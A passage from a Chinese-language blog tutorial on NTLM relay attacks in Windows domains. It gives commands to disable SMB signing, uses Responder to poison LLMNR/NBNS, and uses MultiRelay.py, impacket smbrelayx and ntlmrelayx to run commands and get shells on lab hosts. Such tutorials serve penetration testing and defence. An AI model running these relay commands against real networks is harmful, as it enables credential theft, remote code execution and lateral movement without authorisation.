Hash</h2><p>我们知道,由于NTLM只是底层的认证协议,必须镶嵌在上层应用协议里面,消息的传输依赖于使用NTLM的上层协议,比如SMB、HTTP、LDAP等。因此,我们可以将获取到的<code>Net-NTLM Hash</code> Relay到其他使用NTLM进行认证的应用上</p><blockquote><p>攻击前提:</p><p>目标主机没有开启smb签名。一般情况下域控默认开启smb签名,其余域内机器不开启</p></blockquote><p>关闭SMB签名的命令如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d <span class="number">0</span> /f</span><br></pre></td></tr></table></figure><p>用nmap探测SMB签名是否打开命令(不一定准确):</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -p445 --script=smb-security-mode.nse -Pn IP地址 --open</span><br></pre></td></tr></table></figure><h3 id="Relay-To-SMB"><a href="#Relay-To-SMB" class="headerlink" title="Relay To SMB"></a>Relay To SMB</h3><p>SMB-Relay又分为在<code>工作组环境</code>下和在<code>域环境</code>下,但是一般工作组环境下比较少</p><ol><li>工作组环境:在工作组环境中,工作组中的机器之间相互没有信任关系,每台机器的账号密码只是保存在自己的SAM文件中,这个时候Relay到别的机器,<strong>除非两台机器的账号密码一样</strong>,不然没有别的意义了。但是如果账号密码相同的话,为何不直接<code>Pass The Hash</code>攻击呢?因此在工作组环境下,Relay到其他机器不太现实。这个时候的攻击手段就是将机器Relay回机子本身。因此微软在<code>ms08-068</code>中对Relay到自身机器做了限制,严禁Relay到机器自身。<code>CVE-2019-1384(Ghost Potato)</code>就是绕过了该补丁。</li><li>域环境:在域环境中,默认普通域用户可以登录除域控外的其他所有机器(但是为了安全,企业运维人员通常会限制域用户登录的主机),因此可以将<code>Net-NTLM Hash Relay</code>到域内的其他机器。如果是拿到了域控机器的<code>Net-NTLM Hash</code>,可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控,因为域内只有域控默认开启SMB签名)。</li></ol><h4 id="responder-MultiRelay"><a href="#responder-MultiRelay" class="headerlink" title="responder MultiRelay"></a>responder MultiRelay</h4><p>利用 MultiRelay.py 攻击,获得目标主机的 shell:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python3 MultiRelay.py -t <被攻击ip> -u ALL</span><br><span class="line"> </span><br><span class="line">python3 MultiRelay.py -t <span class="number">192.168</span>.<span class="number">58.145</span> -u ALL</span><br></pre></td></tr></table></figure><p>现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下 responder 的配置文件Responder.conf,不让其对 hash 进行抓取。将 SMB 和 HTTP 的 On 改为 Off:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">vim /usr/share/responder/Responder.conf</span><br><span class="line"></span><br><span class="line">SMB=Off</span><br><span class="line">HTTP=Off</span><br></pre></td></tr></table></figure><p>重启 Responder.py,准备毒化(这里 responder 的作用就是当访问一个不存在的共享路径,将称解析降到 LLMNR/NBNS 时,来抓取网络中所有的 LLMNR 和 NetBIOS 请求并进行响应)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">responder -I eth0</span><br></pre></td></tr></table></figure><p>在 DC(192.168.58.144)上随便传递一个 SMB 流量</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net <span class="keyword">use</span> \\<span class="title">whoami</span></span><br></pre></td></tr></table></figure><p>可以看到已经拿到了目标机器的 shell</p><p><img src= "/img/loading.gif" data-src="/img/NTLM%E4%B8%AD%E7%BB%A71.png" alt="image-20241026150324109"></p><h4 id="Impacket-smbrelayx"><a href="#Impacket-smbrelayx" class="headerlink" title="Impacket smbrelayx"></a>Impacket smbrelayx</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">impacket-smbrelayx -h <被攻击ip> -c whoami</span><br><span class="line"></span><br><span class="line">python smbrelayx.py -h <span class="number">192.168</span>.<span class="number">58.145</span> -c whoami</span><br></pre></td></tr></table></figure><p>让任意主机访问这个攻击者精心构造好的 SMB 服务器:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">net <span class="keyword">use</span> \\<<span class="title">kali</span> <span class="title">IP</span>></span><br><span class="line"> </span><br><span class="line"><span class="title">net</span> <span class="title">use</span> \\192.168.58.147</span><br></pre></td></tr></table></figure><p>此时,攻击者的 smbrelayx 脚本上就会发现命令成功执行了</p><p><img src= "/img/loading.gif" data-src="/img/NTLM%E4%B8%AD%E7%BB%A72.png" alt="image-20241026160430334"></p><h4 id="Impacket-ntlmrelayx-py"><a href="#Impacket-ntlmrelayx-py" class="headerlink" title="Impacket ntlmrelayx.py"></a>Impacket ntlmrelayx.py</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python ntlmrelayx.py -t <span class="number">192.168</span>.<span class="number">58.145</span> -c whoami -smb2support</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-src="/img/NTLM%E4%B8%AD%E7%BB%A75.png" alt="image-20241026181305398"></p><h3 id="Relay-To-HTTP"><a href="#Relay-To-HTTP" class="headerlink" title="Relay To HTTP"></a>Relay To HTTP</h3><p>中继到HTTP协议,基本都是用上面SMB说的三个脚本,这三个脚本也可以应用到HTTP协议中,就像impacket下的smbrelayx.py最后中继到http协议的一样,一般就是在域内的一台主机上访问一个不存在的网页,然后输入凭证</p><p>所以只要我们开始欺骗投毒并且运行脚本之后,只要域内有机器用到了SMB或者HTTP协议就会触发,使得我们成功横向移动</p>]]></content>
<categories>
<category> 域渗透 </category>
</categories>
<tags>
<tag> NTLM 渗透 </tag>
</tags>
</entry>
</search>